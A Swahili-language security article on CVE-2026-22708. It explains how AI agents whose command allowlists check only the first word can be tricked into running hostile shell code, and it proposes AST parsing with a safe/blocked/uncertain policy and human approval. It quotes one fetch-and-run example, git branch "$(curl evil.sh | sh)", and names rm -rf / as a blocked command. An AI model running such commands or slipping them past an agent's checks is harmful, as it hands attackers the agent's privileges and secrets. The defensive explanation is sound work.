Udhaifu uliogunduliwa hivi karibuni, CVE-2026-22708, unaonyesha kuwa mawakala wa AI (AI agents) wanaotegemea orodha rahisi za amri zinazoruhusiwa (allowlists) wanaweza kudanganywa ili kutekeleza kodi hasi. Hitilafu hii inamruhusu mshambuliaji kuficha mzigo (payload) ndani ya amri ambayo inaonekana kuwa ya kawaida, na kumpa wakala njia ya moja kwa moja ya kuendesha skripti yoyote kwenye kifaa (host).
Wasaidizi wengi wanaochochewa na AI wanaofanya kazi za kiotomatiki za maendeleo au uendeshaji hufanya kazi kwa kuangalia neno la kwanza la amri dhidi ya orodha ya ruhusa (whitelist). Ikiwa neno hilo linafanana na ingizo kama git au npm, ombi hilo hupitishwa moja kwa moja. "Ulinganishaji wa kiambishi awali" (prefix matching) huu unavutia kwa sababu ni rahisi kutekeleza na unaonekana kumzuia wakala kutekeleza zana hatari.
Katika vitendo, mbinu hii ni tundu la kiusalama. Mshambuliaji anaweza kuingiza mbadala wa amri (command substitution) au sifa nyingine ya shell baada ya neno lililoruhusiwa, na orodha ya ruhusa haitaiona kamwe. Mfano wa kawaida ni:
git branch "$(curl evil.sh | sh)"
Orodha ya ruhusa inaona git pekee na kuidhinisha ombi. Kisha shell hupanua $(curl evil.sh | sh), inapakua skripti na kuiendesha kwa kutumia mamlaka ya wakala. Hii mbinu hiyo hiyo hufanya kazi na programu yoyote (binary) iliyo kwenye orodha ya ruhusa inayokubali hoja (arguments) zinazotafsiriwa na shell.
Athari ni kubwa kwa sababu mawakala wa AI wanazidi kupewa mamlaka katika mazingira yenye upendeleo—mifumo ya kuunganisha mfululizo (continuous-integration pipelines), makontena ya maendeleo yaliyoko kwenye wingu (cloud-hosted development containers), na hata vituo vya kazi vya watumiaji. Ikiwa wakala anaweza kushawishiwa kutekeleza mzigo (payload), mshambuliaji anapata haki sawa za ufikiaji ambazo wakala anazo, ambazo mara nyingi hujumuisha funguo za siri, sifa za kuweka programu (deployment credentials), au ufikiaji usio na kikomo wa mfumo wa faili.
Kwa nini orodha rahisi za ruhusa hushindwa
- Ulinganishaji wa maandishi, si sera – Kuangalia token ya kwanza pekee kunapuuza muundo wa mstari wa amri. Hakuzingatii jinsi hoja zinavyotafsiriwa au ikiwa zina alama maalum za shell (shell metacharacters).
- Sifa za shell ni zenye nguvu – Mbadala (substitution), mifumo ya mabomba (pipelines), na uelekezaji (redirection) vyote huchakatwa baada ya ukaguzi wa orodha ya ruhusa, na kubadilisha amri inayoonekana kuwa isiyo na madhara kuwa shambulio kamili.
- Hakuna utambuzi wa muktadha – Orodha ya ruhusa haiwezi kutofautisha kati ya
git statussalama nagit push --forcehatari ambayo inaweza kufuta historia ya uzalishaji (production history).
Mfano thabiti zaidi
Jibu la jamii kwa CVE-2026-22708 ni kuhama kutoka kwenye ukaguzi rahisi wa maandishi kwenda kwenye uchambuzi wa amri katika Mti wa Sintaksia ya Kidhahania (Abstract Syntax Tree - AST). AST inawakilisha muundo wa kimfumo wa amri, ikitenganisha kitu kinachotekelezeka na hoja zake pamoja na miundo yoyote ya shell. Amri ikishachambuliwa, injini ya sera inaweza kuipima dhidi ya makundi matatu tofauti:
- SALAMA – Amri zinazoendana na sheria zilizothibitishwa na hazina miundo yenye hatari. Wakala huendesha hizi kiotomatiki. Mfano:
git status. - IMEZUIWA – Amri zinazoendana na mifumo inayojulikana kuwa hatari, kama vile zile zinazofikia faili za siri, kufuta diziti, au kuita skripti zenye mamlaka. Wakala huzizuia hizi mara moja. Mfano:
rm -rf /. - HAINA UHAKIKA – Amri ambazo hazijakaa vizuri kwenye makundi ya salama au yaliyozuiwa. Wakala lazima aombe idhini ya wazi kutoka kwa binadamu kabla ya kuendelea. Mfano:
git push --force.
Utangulizi wa ngazi ya HAINA UHAKIKA unabadilisha mfano wa tishio. Badala ya kuchukulia kila amri isiyotambuliwa kama hitilafu, mfumo unageuza kutokuwa na uhakika kuwa mawasiliano yanayodhibitiwa. Njia moja ya vitendo ya kusimamia hatua ya idhini ni kutoa tokeni ya HMAC ya matumizi ya mara moja ambayo mtumiaji lazima ampe wakala. Kwa sababu tokeni hiyo imefungwa kiusalama (cryptographically) kwenye ombi, wakala hawezi kughushi idhini.
Kusawazisha usalama na urahisi wa matumizi
Wakosoaji wanaweza kudai kuwa uchambuzi wa AST unaongeza ucheleweshaji (latency) au kwamba mfumo wa ngazi tatu unaweza kuwajaza watumiaji na maombi mengi ya idhini, na hivyo kupunguza tija. Wasiwasi huo ni wa msingi: seti ya sheria iliyorekebishwa vibaya inaweza kuzalisha matokeo ya uongo (false positives), na uchambuzi tata unaweza kuwa mzito zaidi kiutendaji kuliko ukaguzi rahisi wa maandishi. Hata hivyo, mbadala—kuruhusu utekelezaji wa kodi yoyote—una gharama kubwa zaidi. Mbinu mseto zinazounganisha sandboxing nyepesi na uchambuzi wa AST zinaweza kupunguza athari za utendaji huku zikiendelea kusimamia sera thabiti.
Hatari kwa watengenezaji na mashirika
- Usiri wa data – Wakala aliyeathiriwa anaweza kuiba funguo za API, nywila, na kodi za kampuni.
- Uadilifu wa mfumo – Amri hasi zinaweza kubadilisha au kufuta vitu vya uzalishaji (production artifacts), kurudisha nyuma matoleo (roll back releases), au kuweka milango ya siri (backdoors).
- Hatari ya kisheria – Uvunjifu unaosababishwa na uendeshaji wa kiotomatiki usio salama unaweza kusababisha adhabu za kufuata sheria, hasa katika sekta zenye sheria kali za kushughulikia data.
Miradi inayopuuzia hatari hizi mara nyingi ama hudhoofisha wakala kwa sheria zinazozidi kuzuia au kuiacha wazi kwa ajili ya udukuzi. Njia ya kati—kufafanua makundi ya wazi ya SALAMA, IMEZUIWA, na ISIOHAKIKIKA—hutoa njia ya vitendo kuelekea usalama na manufaa kwa wakati mmoja.
Nini cha kufuatilia baadaye
- Zana – Tarajia maktaba za chanzo huru zitakazotoa wasomaji (parsers) wanaozingatia AST kwa ajili ya shell za kawaida na mifumo ya ujenzi (build pipelines), pamoja na vielelezo vya sera vilivyotayarishwa tayari.
- Viwango – Vikundi vya viwanda vinaweza kupendekeza seti za sheria za msingi kwa ajili ya amri za kawaida za maendeleo, sawa na jinsi mifumo ya kuendesha kontena (container runtimes) ilivyoweka viwango vya wasifu wa seccomp.
- Ukaguzi – Timu za usalama huenda zikaongeza “ukaguzi wa usahihi wa orodha ya kuruhusiwa” (allowlist sanity checks) kwenye mifumo yao ya ukaguzi wa CI/CD, zikiashiria usanidi wowote wa wakala unaotegemea ulinganishaji wa kiambishi awali (prefix matching) pekee.
Hitimisho
Ikiwa wakala wako wa AI bado unaamua nini cha kuendesha kwa kuangalia neno la kwanza tu la amri, uko wazi kwa udhaifu ulioonyeshwa katika CVE-2026-22708. Badilisha mbinu hiyo kwa usomaji unaoendeshwa na AST na sera ya ngazi tatu inayolazimisha uthibitisho wa binadamu kwa vitendo visivyo wazi. Hatua hiyo ya ziada inaweza kuhisiwa kama kikwazo, lakini inageuza upande usioonekana kuwa kituo cha udhibiti kinachoweza kuthibitishwa, ikilinda kodi yako na miundombinu yako yote.
